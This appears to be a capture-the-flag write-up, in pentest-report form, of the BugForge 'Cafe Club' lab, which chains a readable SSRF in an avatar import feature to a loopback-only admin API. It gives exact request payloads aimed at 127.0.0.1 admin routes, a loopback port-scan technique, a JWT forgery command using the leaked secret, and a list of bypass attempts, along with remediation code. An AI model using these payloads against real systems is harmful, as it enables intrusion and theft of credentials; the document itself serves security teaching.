BugForge — 2026.06.03

Cafe Club: Readable SSRF to Internal Admin API

BugForge Readable SSRF easy

Part 1: Pentest Report

Executive Summary

CafeClub is a React single-page application backed by an Express (Node.js) API with JWT authentication. The application exposes an avatar import feature that fetches an attacker-supplied URL server-side and saves the response body to a publicly retrievable path. This turns a server-side request forgery into a readable one: an authenticated user can read the content of internal HTTP responses, not just trigger blind requests.

Testing confirmed 2 findings:

ID Title Severity CVSS CWE Endpoint
F1 Readable SSRF via avatar import High 7.7 CWE-918 POST /api/profile/avatar/import
F2 Internal admin API trusts loopback origin, disclosing signing secret and flag Critical 9.6 CWE-918, CWE-200 (internal) GET /admin/config

The flag-bearing finding is F2. The application runs a separate admin API on the loopback interface that returns real JSON only to requests originating from localhost. Chaining the readable SSRF (F1) to this admin API let us read /admin/config, which disclosed the JWT signing secret and the flag. Because the disclosed value is the HS256 signing key and the application’s authorization is keyed on the user id carried in the token, this secret enables forging a valid token for any user.


Objective

Identify and exploit the intended vulnerability in the CafeClub lab and recover the flag.


Scope / Initial Access

# Target Application
URL: lab-1780255910230-rsknu2.labs-app.bugforge.io   # instance 2 (active)
     lab-1780252449568-izcr56.labs-app.bugforge.io   # instance 1 (expired)

# Auth details
# Self-service registration: POST /api/register, then POST /api/login.
# Session is a Bearer JWT (HS256) in the Authorization header.
# Sample decoded token: {"id":5,"username":"haxor","iat":1780252474}

The application issues an HS256 JWT on login. Authorization decisions are driven by the id claim in the token; there is no role claim. All application errors are returned as JSON ({"error":...} / {"message":...}). Raw Bad Gateway or 404 page not found responses come from the BugForge edge proxy or an expired instance, not the application.


Reconnaissance: Mapping the SPA and Its Import Feature

The frontend is a Create React App build. The Express backend serves index.html for any unknown non-/api path (SPA fallback), so endpoint discovery had to filter on Content-Type and response body rather than HTTP status; a 200 alone does not mean an endpoint exists.

Observations that shaped the test plan:

  1. Two avatar mechanisms exist. POST /api/profile/avatar accepts a multipart image upload, while POST /api/profile/avatar/import accepts a JSON body {"url":...} and fetches that URL server-side. The import variant is the novel feature and the SSRF candidate.
  2. The import saves what it fetches to a retrievable path. The server writes the fetched response body to /uploads/avatars/<md5>.<ext>, with the extension derived from the fetched Content-Type, and the saved file is then served back over GET. This makes the SSRF readable.
  3. Two server-side filters guard the import URL. A scheme allowlist (http/https only) and a host allowlist (loopback only). The host allowlist accepted the name localhost and the address 127.0.0.1, indicating the host is resolved and range-checked rather than string- matched.
  4. Application errors distinguish three states. A successful fetch saves the file; a host that is allowed but has no listener returns Could not fetch image from URL; a host outside the allowlist returns Only internal image hosts are allowed. This 3-state response signal makes the import usable as a loopback port scanner.

Application Architecture

Component Detail
Backend Express (Node.js); SPA fallback serves index.html for unknown non-/api paths
Frontend React (Create React App build: /static/js/main.4078ec20.js)
Auth JWT HS256, Bearer token; authorization keyed on id claim, no role claim
Internal service Separate admin API bound to the loopback interface on port 3000

API Surface

Endpoint Method Auth Notes
/api/register POST No Self-service registration
/api/login POST No Returns HS256 JWT
/api/profile/avatar/import POST Yes Fetches {"url":...} server-side, saves body (F1)
/api/profile/avatar POST Yes Multipart image upload
/uploads/avatars/<md5>.<ext> GET No Serves the saved import body (readback channel)
/admin GET (loopback only) Admin API banner, lists sub-routes
/admin/config GET (loopback only) Discloses jwt_secret and flag (F2)
/admin/health GET (loopback only) Admin health endpoint

Known Users

Username ID Role
haxor (registered test account) 5 standard user

Attack Chain Visualization

┌──────────────────┐     ┌──────────────────────┐     ┌─────────────────────┐     ┌──────────────────┐
│  Authenticated   │     │  Import loopback URL │     │  Import /admin      │     │  Import           │
│  user (our JWT)  │ ──▶ │  server fetches +    │ ──▶ │  banner lists       │ ──▶ │  /admin/config    │
│                  │     │  saves body (F1)     │     │  /admin/config etc. │     │  jwt_secret+flag  │
└──────────────────┘     └──────────────────────┘     └─────────────────────┘     └──────────────────┘
                                    │                                                       │
                                    └─────────── GET /uploads/avatars/<md5> reads body ◀────┘

Findings

F1: Readable SSRF via Avatar Import

Severity: High CVSS v3.1: 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N CWE: CWE-918 (Server-Side Request Forgery) Endpoint: POST /api/profile/avatar/import Authentication required: Yes

Description

The avatar import endpoint accepts a JSON body {"url":...} and fetches that URL with a server-side HTTP client. The response body is written to /uploads/avatars/<md5>.<ext>, where the extension is derived from the fetched Content-Type, and the saved file is then served over GET. Two filters are applied to the supplied URL: a scheme allowlist (http/https only) and a host allowlist that permits only the loopback interface. The host allowlist normalizes the host to a canonical IP before checking, so encoding-based bypasses are rejected (see Failed Approaches). Because the fetched body is persisted to a retrievable path, the request forgery is readable rather than blind: the content of internal HTTP responses can be read back, not merely triggered.

Impact

Cross-boundary read of internal HTTP content on the loopback interface, plus internal port scanning via the response signal.

Reproduction

Step 1: Import a loopback URL

POST /api/profile/avatar/import HTTP/1.1
Host: lab-1780255910230-rsknu2.labs-app.bugforge.io
Authorization: Bearer <our JWT>
Content-Type: application/json

{"url":"http://localhost:3000/"}

Response: 200, body references a saved avatar path under /uploads/avatars/. The import succeeded against a loopback host.

Step 2: Read the saved body back

GET /uploads/avatars/<md5>.txt HTTP/1.1
Host: lab-1780255910230-rsknu2.labs-app.bugforge.io

Response: the application’s index.html. This confirms the fetched response body is retrievable, making the SSRF readable.

Step 3: Distinguish host and port states

Imported URL Response Meaning
http://127.0.0.1:3000/ 200, saved open (listener present)
http://127.0.0.1:9999/ Could not fetch image from URL host allowed, port closed
http://169.254.169.254/ Only internal image hosts are allowed host blocked

The three distinct responses let the import act as a loopback port scanner. A full scan of ports 1-65535 on 127.0.0.1 found only port 3000 open.

Remediation

Fix 1: Validate the resolved address and re-check after resolution

// BEFORE (Vulnerable)
// Host allowlist permits any name/address that resolves to loopback;
// fetched body is saved to a publicly served path.
const url = new URL(req.body.url);
if (!isLoopback(url.hostname)) return res.status(400).json({error:"Only internal image hosts are allowed"});
const data = await httpFetch(url);
saveAvatar(data); // served back over GET

// AFTER (Secure)
// Disallow internal/loopback/link-local ranges entirely for a user-facing
// import feature; pin the connection to the resolved address to prevent
// rebinding; never serve the fetched body from a user-controlled path.
const url = new URL(req.body.url);
const addr = await resolveAndPin(url.hostname); // single resolution, reused for connect
if (isPrivateOrLoopbackOrLinkLocal(addr)) {
  return res.status(400).json({error:"URL not permitted"});
}
const data = await httpFetchPinned(url, addr, { maxBytes: 1_000_000 });
if (!isImageContentType(data.contentType)) return res.status(400).json({error:"Not an image"});
saveAvatarToOpaqueStore(data); // not directly GET-able by raw path

Additional recommendations:

  • An avatar import has no legitimate reason to reach loopback, private, or link-local ranges; deny them outright rather than allowing loopback.
  • Validate the fetched Content-Type is an image before saving, and cap the response size.
  • Do not serve fetched content from a predictable, user-reachable path.

F2: Internal Admin API Trusts Loopback Origin, Disclosing Signing Secret and Flag

Severity: Critical CVSS v3.1: 9.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N CWE: CWE-918 (Server-Side Request Forgery), CWE-200 (Exposure of Sensitive Information) Endpoint: (internal) GET /admin/config on 127.0.0.1:3000 Authentication required: Yes (application JWT for the import; admin API itself has no auth)

Description

The application runs an admin API on the loopback interface that grants access based on the request originating from localhost. Requested directly from the browser, /admin and its sub-routes return the SPA shell; requested server-side through the avatar import (F1), they return real JSON. The admin root returns a banner that enumerates its own sub-routes, and /admin/config returns the application’s configuration, including the JWT signing secret and the flag. The defect is that loopback origin is treated as sufficient authorization, while a readable SSRF lets an external attacker originate loopback requests and read the responses.

Impact

Disclosure of the flag and the HS256 signing secret; the disclosed secret allows forging a valid token for any user.

Reproduction

Step 1: Import the admin root to read its banner

POST /api/profile/avatar/import HTTP/1.1
Host: lab-1780255910230-rsknu2.labs-app.bugforge.io
Authorization: Bearer <our JWT>
Content-Type: application/json

{"url":"http://127.0.0.1:3000/admin"}

Read back the saved file:

{"service":"cafeclub-admin-api","endpoints":["/admin/config","/admin/health"]}

The banner self-discloses the sub-routes; no path guessing required.

Step 2: Import /admin/config

POST /api/profile/avatar/import HTTP/1.1
Host: lab-1780255910230-rsknu2.labs-app.bugforge.io
Authorization: Bearer <our JWT>
Content-Type: application/json

{"url":"http://127.0.0.1:3000/admin/config"}

Read back the saved file:

{"environment":"production",
 "jwt_secret":"fourthFifth109CheeseKeyLeaf",
 "flag":"bug{QUDejAxLRBOsFm9NZMm4bqbD1CVAJ9oe}"}

The configuration discloses the JWT signing secret and the flag.

Step 3 (impact demonstration): Forge a token for an arbitrary user

With the signing secret known and authorization keyed on the token’s id claim, a token for any user id can be minted:

jwtforge -p '{"id":1,"username":"admin"}' -s fourthFifth109CheeseKeyLeaf -a HS256

Remediation

Fix 1: Authenticate the admin API on its own merits

// BEFORE (Vulnerable)
// Admin API authorizes any request whose origin is loopback.
app.get('/admin/config', (req, res) => {
  res.json({ environment, jwt_secret, flag });
});

// AFTER (Secure)
// Require an explicit admin credential; do not treat network origin as authorization.
app.get('/admin/config', requireAdminToken, (req, res) => {
  res.json(redactSecrets(adminConfig)); // never return signing keys over any API
});

Additional recommendations:

  • Network origin (localhost, internal IP) is not an authentication mechanism; require an explicit credential on the admin API.
  • Do not return signing secrets through any API response, including internal ones.
  • Rotate the disclosed jwt_secret; any token signed with it is compromised.

OWASP Top 10 Coverage

  • A10:2021 Server-Side Request Forgery (SSRF): The avatar import fetches an attacker-supplied URL server-side and persists the response body to a retrievable path, providing a readable SSRF against the loopback interface.
  • A01:2021 Broken Access Control: The admin API treats loopback origin as sufficient authorization, which the SSRF satisfies on the attacker’s behalf.
  • A07:2021 Identification and Authentication Failures: Authorization is keyed on the user id in the JWT with no role claim, so disclosure of the signing secret permits forging a token for any user.

Tools Used

Tool Purpose
Caido Request capture, repeat, and import-then-readback workflow
jwtforge Demonstrate token forgery with the disclosed signing secret

References

  • CWE-918: Server-Side Request Forgery: https://cwe.mitre.org/data/definitions/918.html
  • CWE-200: Exposure of Sensitive Information: https://cwe.mitre.org/data/definitions/200.html
  • OWASP Top 10 A10:2021 SSRF: https://owasp.org/Top10/A102021-Server-Side_Request_Forgery%28SSRF%29/

Part 2: Notes / Knowledge

Key Learnings

  • A “fetch from URL” feature that saves the response body to a retrievable path is a readable SSRF, not a blind one. When an import feature persists what it fetched to a location you can GET back, you read the internal response directly instead of inferring it from timing or error differences. Treat any URL-import that yields a stored, fetchable artifact (avatar, image, document preview) as a read capability against the loopback interface, then point it at internal services and read the responses out of the saved file.

  • A localhost-gated admin API is reachable through any loopback SSRF, and its own banner frequently hands you the sub-routes. Internal services that trust requests from localhost lean on the network boundary for authorization; a readable SSRF erases that boundary. Hit the service root first; admin and internal APIs often return a banner that enumerates their own endpoints, so you read the routes instead of guessing them.

  • When every IP-encoding variant is rejected, the productive moves are DNS rebinding and internal-route fuzzing of the already-allowed host, not more encodings. Decimal, hex, IPv6-mapped, and userinfo forms were all rejected here because the allowlist normalizes to a canonical address before checking. Once that is the case, additional encodings are spent; the remaining bypass surface is name-based (a rebinding domain, if a hostname was accepted) or the routes reachable on the host the allowlist already permits.


Failed Approaches

Approach Result Why It Failed
Direct metadata SSRF (169.254.169.254) Only internal image hosts are allowed Host outside the loopback allowlist
Decimal / hex / IPv6-mapped / userinfo encodings of the metadata IP All rejected Allowlist normalizes to canonical address before checking
file://, gopher://, dict:// schemes Only http(s) URLs are allowed Scheme allowlist
Command injection via the import URL No shell error on ', ../ normalized away Native HTTP client, no shell sink
Full loopback port scan (1-65535) Only port 3000 open No other internal listener
/uploads/avatars/ directory listing SPA index returned Express SPA catchall, no autoindex
JWT alg=none / alg-confusion / weak-secret Not exploited Mooted once /admin/config disclosed the signing secret directly

Tags: #ssrf #readable-ssrf #access-control #jwt #bugforge #webapp Document Version: 1.0 Last Updated: 2026-06-03

#ssrf #readable-ssrf #internal-service #broken-access-control #cwe-918 #bugforge